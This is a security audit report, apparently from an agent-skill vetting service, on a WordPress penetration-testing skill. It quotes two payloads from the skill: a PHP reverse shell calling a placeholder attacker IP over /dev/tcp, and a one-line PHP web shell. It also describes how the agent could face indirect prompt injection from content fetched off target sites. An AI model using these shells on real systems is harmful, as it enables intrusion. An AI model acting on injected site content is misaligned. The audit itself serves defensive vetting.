WordPress Penetration Testing
Warn
Audited by Gen Agent Trust Hub on Nov 6, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides functional exploit payloads intended for execution on target systems during a penetration test.
- A PHP reverse shell snippet is provided in
SKILL.md:exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - A web shell payload is provided in
SKILL.mdwithin a plugin creation example:system($_GET['cmd']); - [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data from external target websites, which represents an attack surface for indirect prompt injection if the target site serves malicious content designed to influence the agent.
- Ingestion points: The skill uses
curl,nmap, andwpscanto fetch content (headers, meta tags, and feeds) from target URLs inSKILL.md. - Boundary markers: No specific boundary markers or instructions are provided to the agent to treat target-supplied content as untrusted data.
- Capability inventory: The skill utilizes powerful CLI tools including
wpscan,nmap, andmsfconsoleto interact with and exploit targets. - Sanitization: There is no evidence of sanitization or filtering of the content retrieved from external targets before it is presented to the agent's context.
Audit Metadata